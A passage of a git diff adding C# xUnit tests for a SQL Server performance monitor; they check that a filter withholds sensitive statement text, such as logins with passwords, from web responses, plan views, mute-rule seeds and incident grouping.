+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: the web side of the statement filter. Every <c>/api/read/*</c> route answers through
+/// <c>DarlingWebEndpoints.ToHttpResult</c>, the mute-rule routes through <c>MuteRuleToolResult</c>, and triage, the
+/// alert notebook and the fleet sweep feed write their own body through <c>DarlingWebStatementSweep.JsonText</c>. Each
+/// case hands the writer a tool answer that still holds the canary (the raw answer: the MCP host's filter is not in the
+/// web path) and reads back what a browser would get. The tests are RED on a writer with no sweep, because the canary
+/// then comes through.
+/// </summary>
+[Collection("timing")]
+public sealed class StatementFilterWebTests
+{
+    private static readonly string Canary = StatementScrubCanary.CanaryStatement;
+    private static readonly string Plain = StatementScrubCanary.PlainStatement;
+
+    private static async Task<(int Status, string Body)> RunAsync(IResult result)
+    {
+        var context = new DefaultHttpContext
+        {
+            RequestServices = new ServiceCollection().AddLogging().BuildServiceProvider(),
+        };
+        context.Response.Body = new MemoryStream();
+        await result.ExecuteAsync(context);
+        context.Response.Body.Position = 0;
+        return (context.Response.StatusCode, Encoding.UTF8.GetString(((MemoryStream)context.Response.Body).ToArray()));
+    }
+
+    private static Task<(int Status, string Body)> ReadRoute(string tool, string raw) =>
+        RunAsync(DarlingWebEndpoints.ToHttpResult(raw, "/api/read/" + tool, NullLogger.Instance, 1));
+
+    private static void AssertWithheld(string body)
+    {
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, body);
+        Assert.Contains(StatementFilterCensus.Marker, body);
+    }
+
+    [Fact]
+    public async Task GetActiveQueries_WithholdsANamedStatement_AndKeepsAPlainOne()
+    {
+        string raw = new JsonObject
+        {
+            ["server"] = "srv-a",
+            ["queries"] = new JsonArray(
+                new JsonObject { ["session_id"] = 55, ["query_text"] = Canary },
+                new JsonObject { ["session_id"] = 56, ["query_text"] = Plain }),
+        }.ToJsonString();
+        StatementFilterCensus.AssertRawHoldsTheCanary(raw);
+
+        var (status, body) = await ReadRoute("get_active_queries", raw);
+
+        Assert.Equal(200, status);
+        AssertWithheld(body);
+        Assert.Contains(Plain, body);
+        Assert.Equal(55, JsonNode.Parse(body)!["queries"]![0]!["session_id"]!.GetValue<int>());
+    }
+
+    [Fact]
+    public async Task GetPlanXml_WrappedJson_WithholdsStatementOne_AndKeepsStatementTwo()
+    {
+        string plan = StatementScrubCanary.CanaryPlan();
+        string raw = DarlingWebEndpoints.WrapPlanXml(plan, "0xABCD", "Orders");
+        StatementFilterCensus.AssertRawHoldsTheCanary(raw);
+
+        var (status, body) = await ReadRoute("get_plan_xml", raw);
+
+        Assert.Equal(200, status);
+        string filteredPlan = JsonNode.Parse(body)!["plan_xml"]!.GetValue<string>();
+        StatementFilterCensus.AssertPlanFilteredKeepsTheRest(plan, filteredPlan);
+        Assert.Equal("0xABCD", JsonNode.Parse(body)!["query_hash"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public async Task GetDeadlockDetail_CardsAreWithheld_EvenWhenTheStatementIsCutAtTheCap()
+    {
+        // A statement that is named only AFTER the card's cap: the card holds an innocent-looking prefix unless the
+        // text is judged whole before it is cut.
+        string longCanary = "/* " + new string('x', DarlingWebDeadlockGraph.SqlTextCap) + " */ " + Canary;
+        string graph = "<deadlock><victim-list><victimProcess id=\"p1\"/></victim-list><process-list>"
+            + "<process id=\"p1\" spid=\"55\" waittime=\"100\" lockMode=\"X\"><executionStack/><inputbuf>" + longCanary + "</inputbuf></process>"
+            + "<process id=\"p2\" spid=\"56\" waittime=\"200\" lockMode=\"S\"><executionStack/><inputbuf>" + Plain + "</inputbuf></process>"
+            + "</process-list><resource-list>"
+            + "<keylock hobtid=\"1\" dbid=\"5\" objectname=\"db.dbo.t\" indexname=\"pk\" id=\"k1\" mode=\"X\"><owner-list><owner id=\"p2\" mode=\"X\"/></owner-list><waiter-list><waiter id=\"p1\" mode=\"S\" requestType=\"wait\"/></waiter-list></keylock>"
+            + "<keylock hobtid=\"2\" dbid=\"5\" objectname=\"db.dbo.u\" indexname=\"pk\" id=\"k2\" mode=\"X\"><owner-list><owner id=\"p1\" mode=\"X\"/></owner-list><waiter-list><waiter id=\"p2\" mode=\"S\" requestType=\"wait\"/></waiter-list></keylock>"
+            + "</resource-list></deadlock>";
+        string tool = new JsonObject
+        {
+            ["deadlocks"] = new JsonArray(new JsonObject { ["deadlock_graph_xml"] = graph }),
+        }.ToJsonString();
+
+        string withCards = DarlingWebDeadlockGraph.AddGraphs(tool);
+        Assert.Contains("\"graph\"", withCards);
+
+        var (status, body) = await ReadRoute("get_deadlock_detail", withCards);
+
+        Assert.Equal(200, status);
+        AssertWithheld(body);
+        Assert.Contains(Plain, body);
+        var processes = JsonNode.Parse(body)!["deadlocks"]![0]!["graph"]!["processes"]!.AsArray();
+        Assert.Equal(StatementFilterCensus.Marker, processes[0]!["sql_text"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public async Task AlertsTest_Answer_IsSwept()
+    {
+        string raw = new JsonObject
+        {
+            ["status"] = "ok",
+            ["sample_rows"] = new JsonArray(new JsonObject { ["query_text"] = Canary, ["wait_type"] = "LCK_M_X" }),
+        }.ToJsonString();
+
+        var (_, body) = await RunAsync(DarlingWebEndpoints.ToHttpResult(raw, "/api/alerts/test", NullLogger.Instance, 1));
+
+        AssertWithheld(body);
+        Assert.Contains("LCK_M_X", body);
+    }
+
+    [Fact]
+    public async Task MuteRuleEnabled_EchoOfACanaryPattern_IsWithheld_AndKeepsItsStatus()
+    {
+        string raw = new JsonObject
+        {
+            ["status"] = "ok",
+            ["rule"] = new JsonObject { ["id"] = "r1", ["enabled"] = true, ["pattern"] = Canary },
+        }.ToJsonString();
+
+        var (status, body) = await RunAsync(DarlingWebEndpoints.MuteRuleToolResult(
+            raw, "/api/mute-rules/{id}/enabled", NullLogger.Instance, 1));
+
+        Assert.Equal(200, status);
+        AssertWithheld(body);
+        Assert.True(JsonNode.Parse(body)!["rule"]!["enabled"]!.GetValue<bool>());
+    }
+
+    [Fact]
+    public async Task AnAnswerThatNamesNothing_IsWrittenByteForByte()
+    {
+        string raw = "{\"rows\":[{\"query_text\":\"" + Plain + "\",\"n\":3}]}";
+
+        var (status, body) = await ReadRoute("get_active_queries", raw);
+
+        Assert.Equal(200, status);
+        Assert.Equal(raw, body);
+    }
+
+    [Fact]
+    public async Task AnAnswerTheSweepCannotRead_IsNeverWritten_ItBecomesTheRefusalSentence()
+    {
+        // Opens like JSON and does not parse: the sweep refuses it instead of judging its escaped text.
+        string raw = "{\"query_text\":\"" + Canary + "\"";
+
+        var (status, body) = await ReadRoute("get_active_queries", raw);
+
+        Assert.Equal(500, status);
+        Assert.Contains(SensitiveStatements.JsonRefusal, body);
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, body);
+    }
+
+    [Fact]
+    public async Task ASlowReadRow_WithACanaryInItsArguments_IsWithheldOnTheWebRead()
+    {
+        string raw = new JsonObject
+        {
+            ["slow_reads"] = new JsonArray(new JsonObject
+            {
+                ["route"] = "analyze_plan_xml",
+                ["arguments"] = new JsonObject { ["statement"] = Canary }.ToJsonString(),
+            }),
+        }.ToJsonString();
+
+        var (_, body) = await ReadRoute("get_slow_reads", raw);
+
+        AssertWithheld(body);
+        Assert.Contains("analyze_plan_xml", body);
+    }
+
+    [Theory]
+    [InlineData("/api/triage")]
+    [InlineData("/api/alert-notebook")]
+    [InlineData("/api/sweeps")]
+    public async Task AnEndpointsOwnBody_IsSweptBeforeItIsWritten(string route)
+    {
+        var body = new JsonObject
+        {
+            ["alert"] = new JsonObject { ["detail"] = Canary, ["metric"] = "blocking" },
+            ["sections"] = new JsonArray(new JsonObject { ["rows"] = new JsonArray(new JsonObject { ["query_text"] = Plain }) }),
+        };
+
+        var (status, written) = await RunAsync(DarlingWebStatementSweep.JsonText(body, route, NullLogger.Instance, 1));
+
+        Assert.Equal(200, status);
+        AssertWithheld(written);
+        Assert.Contains(Plain, written);
+        Assert.Equal("blocking", JsonNode.Parse(written)!["alert"]!["metric"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public void SlowReadArguments_AreJudgedBeforeTheyAreStored()
+    {
+        var named = new JsonObject { ["statement"] = Canary, ["hours"] = 4 };
+        string swept = SensitiveStatements.Json(named.ToJsonString());
+
+        var stored = SlowReadLog.ArgumentsAfterSweep(named, swept)!;
+
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, stored.ToJsonString());
+        Assert.Contains(StatementFilterCensus.Marker, stored.ToJsonString());
+        Assert.Equal(4, stored["hours"]!.GetValue<int>());
+
+        var plain = new JsonObject { ["statement"] = Plain };
+        Assert.Same(plain, SlowReadLog.ArgumentsAfterSweep(plain, SensitiveStatements.Json(plain.ToJsonString())));
+
+        var refused = SlowReadLog.ArgumentsAfterSweep(plain, SensitiveStatements.JsonRefusal)!;
+        Assert.DoesNotContain(Plain, refused.ToJsonString());
+        Assert.Same(plain, SlowReadLog.ArgumentsAfterSweep(plain, null));
+    }
+
+    /// <summary>
+    /// The page's plan panel draws what the read route answered. The answer is the real one (the wrapped canary plan
+    /// through <c>ToHttpResult</c>); the shipped <c>plan-viewer.js</c> runs on it under Node, and the text it shows is
+    /// checked: statement 1 (header and parameter values) shows the marker, statement 2's parameters are intact.
+    /// </summary>
+    [Fact]
+    public async Task ThePlanPanel_ShowsStatementOneAsTheMarker_AndStatementTwoIntact()
+    {
+        var (_, answered) = await ReadRoute("get_plan_xml", DarlingWebEndpoints.WrapPlanXml(StatementScrubCanary.CanaryPlan(), "0xABCD", "Orders"));
+        string file = Path.Combine(Path.GetTempPath(), "ssf-l7-plan-answer-" + Guid.NewGuid().ToString("N") + ".json");
+        File.WriteAllText(file, answered);
+        try
+        {
+            var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+            psi.ArgumentList.Add(RepoFile.PathTo("Darling", "Darling.Tests", "web-plan-viewer-harness.mjs"));
+            psi.ArgumentList.Add(RepoFile.PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+            psi.ArgumentList.Add("answeredPlan");
+            psi.ArgumentList.Add(file);
+
+            Process? started = null;
+            try
+            {
+                started = Process.Start(psi);
+            }
+            catch (Win32Exception)
+            {
+                Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            }
+
+            /* Assert.Skip throws, so a missing Node never reaches here; the null is only a Start that returned no process. */
+            using var proc = started ?? throw new InvalidOperationException("Starting the plan viewer harness returned no process.");
+            {
+                var error = proc.StandardError.ReadToEndAsync();
+                string output = proc.StandardOutput.ReadToEnd().Trim();
+                Assert.True(proc.WaitForExit(20000), "the plan viewer harness did not finish in 20 s");
+                Assert.True(proc.ExitCode == 0, "the plan viewer harness failed: " + await error);
+                using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+                string shown = doc.RootElement.GetProperty("pre").GetString()!;
+
+                foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, shown);
+                Assert.Contains("StatementText=\"" + StatementFilterCensus.Marker + "\"", shown);
+                Assert.Contains(StatementScrubCanary.PlainStatement, shown);
+                Assert.Contains("ParameterCompiledValue=\"N'param-canary-ssf'\"", shown);
+                Assert.Contains("ssf_autoparam_canary", shown);
+            }
+        }
+        finally
+        {
+            File.Delete(file);
+        }
+    }
+
+    /// <summary>The sweep's cost on a read that names nothing: a 1 MB answer of plain statements and numbers. The
+    /// bound is loose on purpose (the sweep's own budget is 1.5 s); the median is printed for the record.</summary>
+    [Fact]
+    public async Task AOneMegabyteAnswerThatNamesNothing_IsWrittenUnchanged_AndSweptInsideTheBudget()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        var rows = new JsonArray();
+        for (int i = 0; rows.Count < 12000; i++)
+        {
+            rows.Add(new JsonObject { ["id"] = i, ["query_text"] = Plain + " /* " + i + " */", ["wait_type"] = "PAGEIOLATCH_SH", ["ms"] = i * 3.5 });
+        }
+
+        string raw = new JsonObject { ["rows"] = rows }.ToJsonString();
+        Assert.InRange(raw.Length, 1_000_000, 2_000_000);
+
+        var times = new List<double>();
+        for (int run = 0; run < 7; run++)
+        {
+            var clock = System.Diagnostics.Stopwatch.StartNew();
+            var (status, body) = await ReadRoute("get_active_queries", raw);
+            times.Add(clock.Elapsed.TotalMilliseconds);
+            Assert.Equal(200, status);
+            Assert.Equal(raw.Length, body.Length);
+        }
+
+        times.Sort();
+        Console.WriteLine("web sweep, 1 MB no-hit response: median " + times[times.Count / 2].ToString("F0", System.Globalization.CultureInfo.InvariantCulture) + " ms");
+        Assert.True(times[times.Count / 2] < 1500, "median " + times[times.Count / 2] + " ms");
+    }
+}
diff --git a/Darling/Darling.Tests/StatementMarkerReaderTests.cs b/Darling/Darling.Tests/StatementMarkerReaderTests.cs
new file mode 100644
index 0000000000..5cfee550cc
--- /dev/null
+++ b/Darling/Darling.Tests/StatementMarkerReaderTests.cs
@@ -0,0 +1,425 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+using PerformanceMonitor.PlanAnalysis;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348 / #5320 (R7): the places that READ stored statement text and treat it as a statement must know the
+/// withheld marker is not one. A collector that withholds a statement stores
+/// <see cref="SensitiveStatements.PlaceholderText"/> in its place, so a reader that re-runs it, seeds a mute rule
+/// with it, or groups on it would act on the marker as if it were the text:
+/// <list type="bullet">
+/// <item>"Get Actual Plan" re-submits the stored text (<see cref="ActualPlanExecutor"/>, shared by Lite, the
+/// Dashboard and Darling), 14 call sites in all;</item>
+/// <item>"Mute this alert" pre-fills a query-text pattern from the alert's text (3 desktop dialogs and the web
+/// <c>mute-context.js</c>);</item>
+/// <item>the same-statement pileup detector falls back to a text hash for a row with no query hash, and the
+/// blocking incident grouper keys a chain on its normalized query pair: two DIFFERENT withheld statements
+/// would be one.</item>
+/// </list>
+/// </summary>
+public sealed class StatementMarkerReaderTests
+{
+    private const string Marker = SensitiveStatements.PlaceholderText;
+    private const string Plain = "SELECT canary_plain_ssf FROM dbo.t WHERE c = @c";
+
+    // ---- "Get Actual Plan" -------------------------------------------------------------------------------
+
+    private static async Task<(string? Plan, List<string> Scripts, Exception? Error)> RunExecutorAsync(string queryText)
+    {
+        var scripts = new List<string>();
+        Exception? error = null;
+        string? plan = null;
+        try
+        {
+            plan = await ActualPlanExecutor.ExecuteForActualPlanAsync(
+                "Server=unused", "db1", queryText, planXml: null, isolationLevel: null, isAzureSqlDb: false,
+                timeoutSeconds: 0, ActualPlanExecutor.DefaultProductName,
+                (cs, db, script, azure, timeout, ct) =>
+                {
+                    scripts.Add(script);
+                    return Task.FromResult<string?>("<ShowPlanXML/>");
+                },
+                CancellationToken.None);
+        }
+        catch (Exception ex)
+        {
+            error = ex;
+        }
+
+        return (plan, scripts, error);
+    }
+
+    [Fact]
+    public async Task TheExecutorSendsAPlainStatementToTheServer()
+    {
+        var (plan, scripts, error) = await RunExecutorAsync(Plain);
+
+        Assert.Null(error);
+        Assert.Equal("<ShowPlanXML/>", plan);
+        var script = Assert.Single(scripts);
+        Assert.Contains(Plain, script, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(Marker)]
+    [InlineData("  " + Marker + "\r\n")]
+    public async Task TheExecutorRefusesTheMarker_AndSendsNothing(string queryText)
+    {
+        var (plan, scripts, error) = await RunExecutorAsync(queryText);
+
+        Assert.Empty(scripts);
+        Assert.Null(plan);
+        var refusal = Assert.IsType<InvalidOperationException>(error);
+        Assert.Equal(
+            "This statement's text was withheld (#4348), so it cannot be run to capture an actual plan.",
+            refusal.Message);
+    }
+
+    [Fact]
+    public async Task TheExecutorRefusesAnOldStoredStatementTheFilterWithholds_AndSendsNothing()
+    {
+        /* B-L1: a row stored before the filter was on holds raw text, not the marker. */
+        const string old = "CREATE LOGIN [a] WITH PASSWORD = 'p'";
+        Assert.NotEqual(Marker, old);
+        Assert.Equal(Marker, SensitiveStatements.Text(old));
+
+        var (plan, scripts, error) = await RunExecutorAsync(old);
+
+        Assert.Empty(scripts);
+        Assert.Null(plan);
+        var refusal = Assert.IsType<InvalidOperationException>(error);
+        Assert.Equal(
+            "This statement's text was withheld (#4348), so it cannot be run to capture an actual plan.",
+            refusal.Message);
+    }
+
+    // ---- "Mute this alert" -------------------------------------------------------------------------------
+
+    [Fact]
+    public void AMuteDialogSeedsAPlainStatementTruncatedToTheLimit()
+    {
+        var context = new AlertMuteContext { QueryText = Plain };
+        Assert.Equal(Plain, context.SeedQueryTextPattern(SensitiveStatements.Text));
+
+        context.QueryText = new string('x', 500);
+        Assert.Equal(AlertMuteContext.SeedQueryTextMax, context.SeedQueryTextPattern(SensitiveStatements.Text)!.Length);
+    }
+
+    [Fact]
+    public void AMuteDialogSeedsNoPatternFromTheMarker()
+    {
+        Assert.Null(new AlertMuteContext { QueryText = Marker }.SeedQueryTextPattern(SensitiveStatements.Text));
+        Assert.Null(new AlertMuteContext { QueryText = "  " + Marker + " " }.SeedQueryTextPattern(SensitiveStatements.Text));
+        Assert.Null(new AlertMuteContext { QueryText = null }.SeedQueryTextPattern(SensitiveStatements.Text));
+
+        /* The same value arrives through the alert's detail text. */
+        var parsed = new AlertMuteContext();
+        parsed.PopulateFromDetailText("  Database: db1\n  Blocked Query: " + Marker + "\n  Wait Type: LCK_M_X\n");
+        Assert.Null(parsed.SeedQueryTextPattern(SensitiveStatements.Text));
+        Assert.Equal("LCK_M_X", parsed.WaitType);
+    }
+
+    [Fact]
+    public void AMuteDialogSeedsNothingFromAPreFilterAlertWhoseStatementTheFilterNames()
+    {
+        /* #5320: an alert stored before the filter was on holds raw text. The seed judges the whole text first, so
+           a statement the filter names seeds nothing, however its secret sits against the 200-character cut. */
+        const string old = "CREATE LOGIN [a] WITH PASSWORD = 'p'";
+        Assert.Equal(Marker, SensitiveStatements.Text(old));
+
+        var parsed = new AlertMuteContext();
+        parsed.PopulateFromDetailText("  Database: db1\n  Blocked Query: " + old + "\n  Wait Type: LCK_M_X\n");
+        Assert.Equal(old, parsed.QueryText);
+        Assert.Null(parsed.SeedQueryTextPattern(SensitiveStatements.Text));
+
+        /* The secret lies past the cut: a cut-then-judge seed would be the clean first 200 characters. */
+        var late = new AlertMuteContext { QueryText = new string('x', 250) + " " + old };
+        Assert.Null(late.SeedQueryTextPattern(SensitiveStatements.Text));
+
+        /* A plain statement still seeds its first 200 characters. */
+        var plain = new AlertMuteContext { QueryText = "SELECT " + new string('y', 400) };
+        Assert.Equal(plain.QueryText![..AlertMuteContext.SeedQueryTextMax], plain.SeedQueryTextPattern(SensitiveStatements.Text));
+
+        /* A judge that returns null seeds nothing. */
+        Assert.Null(new AlertMuteContext { QueryText = Plain }.SeedQueryTextPattern(_ => null));
+    }
+
+    private static string RunNode(string script)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add("--input-type=module");
+        psi.ArgumentList.Add("-e");
+        psi.ArgumentList.Add(script);
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return "";
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("node did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "node failed: " + error.Result);
+            return output;
+        }
+    }
+
+    [Fact]
+    public void TheWebMuteContextSeedsNoPatternFromTheMarker()
+    {
+        /* The shipped file has no package.json beside it, so import a copy named .mjs. */
+        var dir = Path.Combine(Path.GetTempPath(), "statement-marker-reader-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(dir);
+        try
+        {
+            var copy = Path.Combine(dir, "mute-context.mjs");
+            File.Copy(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "mute-context.js"), copy);
+            var script =
+                "import { mutePrefillParams } from " + JsonSerializer.Serialize(new Uri(copy).AbsoluteUri) + ";"
+                + "const row = (d) => ({ server_id: 1, server_name: 'S', metric_name: 'Blocking Detected', detail_text: d });"
+                + "console.log(JSON.stringify({"
+                + " marker: mutePrefillParams(row('  Blocked Query: " + Marker + "\\n  Wait Type: LCK_M_X\\n')),"
+                + " plain: mutePrefillParams(row('  Blocked Query: " + Plain + "\\n')) }));";
+            using var doc = JsonDocument.Parse(RunNode(script));
+
+            var marker = doc.RootElement.GetProperty("marker");
+            Assert.True(
+                !marker.TryGetProperty("query_text_pattern", out var seeded) || seeded.ValueKind == JsonValueKind.Null,
+                "the marker was seeded as a query-text pattern");
+            Assert.Equal("LCK_M_X", marker.GetProperty("wait_type_pattern").GetString());
+            Assert.Equal(Plain, doc.RootElement.GetProperty("plain").GetProperty("query_text_pattern").GetString());
+        }
+        finally
+        {
+            Directory.Delete(dir, recursive: true);
+        }
+    }
+
+    [Fact]
+    public void TheWebMuteContextReadsAPaddedMarkerAsTheMarker()
+    {
+        /* B-L3: the C# check (WithheldStatementMarker.IsMarker) trims before it compares; the page script must too. */
+        var dir = Path.Combine(Path.GetTempPath(), "statement-marker-reader-pad-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(dir);
+        try
+        {
+            var copy = Path.Combine(dir, "mute-context.mjs");
+            File.Copy(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "mute-context.js"), copy);
+            var script =
+                "import { isWithheldMarker } from " + JsonSerializer.Serialize(new Uri(copy).AbsoluteUri) + ";"
+                + "console.log(JSON.stringify([isWithheldMarker(" + JsonSerializer.Serialize(Marker) + "),"
+                + " isWithheldMarker(" + JsonSerializer.Serialize("  " + Marker + "\r\n") + "),"
+                + " isWithheldMarker(" + JsonSerializer.Serialize(Plain) + "), isWithheldMarker(null)]));";
+            using var doc = JsonDocument.Parse(RunNode(script));
+
+            Assert.Equal([true, true, false, false], doc.RootElement.EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        }
+        finally
+        {
+            Directory.Delete(dir, recursive: true);
+        }
+    }
+
+    [Fact]
+    public void TheWebMuteContextSeedsItsQueryPatternThroughTheMarkerHelper()
+    {
+        /* B-L3 (round 2): the test above pins the helper, this one pins its call site. mutePrefillParams must decide
+           "is this the marker" with isWithheldMarker (which trims), not an exact-equality check of its own that a padded
+           marker would slip past. */
+        var source = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "mute-context.js"));
+        var start = source.IndexOf("export function mutePrefillParams", StringComparison.Ordinal);
+        Assert.True(start >= 0, "mutePrefillParams was not found in mute-context.js");
+        var end = source.IndexOf("\nexport function ", start + 1, StringComparison.Ordinal);
+        var body = end < 0 ? source[start..] : source[start..end];
+
+        Assert.Contains("query_text_pattern: isWithheldMarker(d.queryText)", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("WITHHELD_MARKER", body, StringComparison.Ordinal);
+    }
+
+    // ---- Same-statement pileup ---------------------------------------------------------------------------
+
+    private static readonly DateTime PileupAt = new(2026, 10, 5, 12, 0, 0, DateTimeKind.Utc);
+
+    private static SameStatementPileupDetector.SnapshotRow PileupRow(DateTime at, int session, long elapsedMs, string text) =>
+        new(at, session, QueryHash: null, text, "db1", "suspended", "PAGEIOLATCH_SH", 5, elapsedMs, 100, 1_000, 10, PreviewText: text);
+
+    private static List<SameStatementPileupDetector.SnapshotRow> Window(params string[] texts)
+    {
+        var rows = texts
+            .Select((t, i) => PileupRow(PileupAt, 100 + i, 20_000, t))
+            .ToList();
+        /* One sub-second sighting of the first statement's text, a few minutes earlier: the baseline the detector
+           requires of a statement that is "normally fast". */
+        rows.Add(PileupRow(PileupAt.AddMinutes(-3), 90, 50, texts[0]));
+        return rows;
+    }
+
+    [Fact]
+    public void ThreePlainSessionsOnOneTextWithNoHashStillFireAPileup()
+    {
+        var detections = SameStatementPileupDetector.Evaluate("srv", Window(Plain, Plain, Plain), PileupAt.AddSeconds(9));
+        Assert.Single(detections);
+    }
+
+    [Fact]
+    public void ThreeWithheldStatementsWithNoHashAreNotOnePileup()
+    {
+        /* Three sessions each running a different withheld statement have nothing in common but the marker. */
+        var detections = SameStatementPileupDetector.Evaluate("srv", Window(Marker, Marker, Marker), PileupAt.AddSeconds(9));
+        Assert.Empty(detections);
+    }
+
+    [Fact]
+    public void AWithheldTextGivesNoStatementIdentity_AndAHashStillWins()
+    {
+        Assert.Null(SameStatementPileupDetector.StatementIdentity(PileupRow(PileupAt, 1, 20_000, Marker)));
+        Assert.Null(SameStatementPileupDetector.StatementIdentity(PileupRow(PileupAt, 1, 20_000, "  " + Marker + "\r\n")));
+        Assert.NotNull(SameStatementPileupDetector.StatementIdentity(PileupRow(PileupAt, 1, 20_000, Plain)));
+
+        var hashed = PileupRow(PileupAt, 1, 20_000, Marker) with { QueryHash = "0xABCDEF0123456789" };
+        Assert.Equal("0xabcdef0123456789", SameStatementPileupDetector.StatementIdentity(hashed));
+    }
+
+    // ---- Blocking incident grouping ----------------------------------------------------------------------
+
+    private static BlockingIncidentGrouper.BlockedEvent Chain(string? blocked, string? blocking, long wait = 5_000) =>
+        new("db1", ContentiousObject: null, blocked, blocking, wait);
+
+    [Fact]
+    public void TwoSamplesOfOnePlainChainGroupAsOneIncident()
+    {
+        var groups = BlockingIncidentGrouper.Group("srv", [Chain(Plain, "UPDATE dbo.t SET c = 1"), Chain(Plain, "UPDATE dbo.t SET c = 1", 9_000)]);
+        var group = Assert.Single(groups);
+        Assert.Equal(2, group.OccurrenceCount);
+    }
+
+    private static BlockingIncidentGrouper.BlockedEvent ModeChain(string? blocked, string? blocking, string? lockMode, long wait = 5_000) =>
+        new("db1", ContentiousObject: null, blocked, blocking, wait, LockMode: lockMode);
+
+    private static string KeyOf(BlockingIncidentGrouper.BlockedEvent e) =>
+        Assert.Single(BlockingIncidentGrouper.Group("srv", [e])).Incident.DedupKey;
+
+    [Theory]
+    [InlineData(Marker, Marker)]
+    [InlineData(Marker, "UPDATE dbo.t SET c = 1")]
+    [InlineData(Plain, Marker)]
+    public void TheSameWithheldChainKeepsOneDedupKeyWhateverOrderItsSamplesArriveIn(string blocked, string blocking)
+    {
+        /* Two cycles carry the same two incidents (X and Y, told apart by lock mode) with their samples in a
+           different order. The key must come from what the sample says, never from where it sits in the call. */
+        var x1 = ModeChain(blocked, blocking, "X", 5_000);
+        var x2 = ModeChain(blocked, blocking, "X", 9_000);
+        var y1 = ModeChain(blocked, blocking, "S", 6_000);
+
+        var cycle1 = BlockingIncidentGrouper.Group("srv", [x1, y1, x2]);
+        var cycle2 = BlockingIncidentGrouper.Group("srv", [y1, x2, x1]);
+
+        Assert.Equal(2, cycle1.Count);
+        Assert.Equal(
+            cycle1.Select(g => g.Incident.DedupKey).OrderBy(k => k, StringComparer.Ordinal),
+            cycle2.Select(g => g.Incident.DedupKey).OrderBy(k => k, StringComparer.Ordinal));
+        Assert.Equal(KeyOf(x1), KeyOf(x2));
+    }
+
+    [Fact]
+    public void WithheldChainsThatDifferInNothingVisibleAreOneIncident()
+    {
+        /* The stated limit: with the text withheld, the same database, partner statement and lock mode is all
+           there is to tell chains apart, so those samples are one incident. */
+        var group = Assert.Single(BlockingIncidentGrouper.Group("srv",
+            [ModeChain(Marker, Marker, "X"), ModeChain(Marker, Marker, "X", 9_000)]));
+        Assert.Equal(2, group.OccurrenceCount);
+    }
+
+    [Fact]
+    public void WithheldChainsWithDifferentLockModesAreDifferentIncidents()
+    {
+        var groups = BlockingIncidentGrouper.Group("srv", [ModeChain(Marker, Marker, "X"), ModeChain(Marker, Marker, "S")]);
+
+        Assert.Equal(2, groups.Count);
+        Assert.NotEqual(groups[0].Incident.DedupKey, groups[1].Incident.DedupKey);
+    }
+
+    [Fact]
+    public void WithheldChainsWithDifferentVisiblePartnersAreDifferentIncidents()
+    {
+        var groups = BlockingIncidentGrouper.Group("srv",
+            [ModeChain(Marker, "UPDATE dbo.a SET c = 1", "X"), ModeChain(Marker, "UPDATE dbo.b SET c = 1", "X")]);
+
+        Assert.Equal(2, groups.Count);
+        Assert.NotEqual(groups[0].Incident.DedupKey, groups[1].Incident.DedupKey);
+    }
+
+    [Fact]
+    public void AWithheldSideAndAVisibleSideAreNotInterchangeable()
+    {
+        const string other = "UPDATE dbo.t SET c = 1";
+        var blockedWithheld = KeyOf(ModeChain(Marker, other, "X"));
+        var blockingWithheld = KeyOf(ModeChain(other, Marker, "X"));
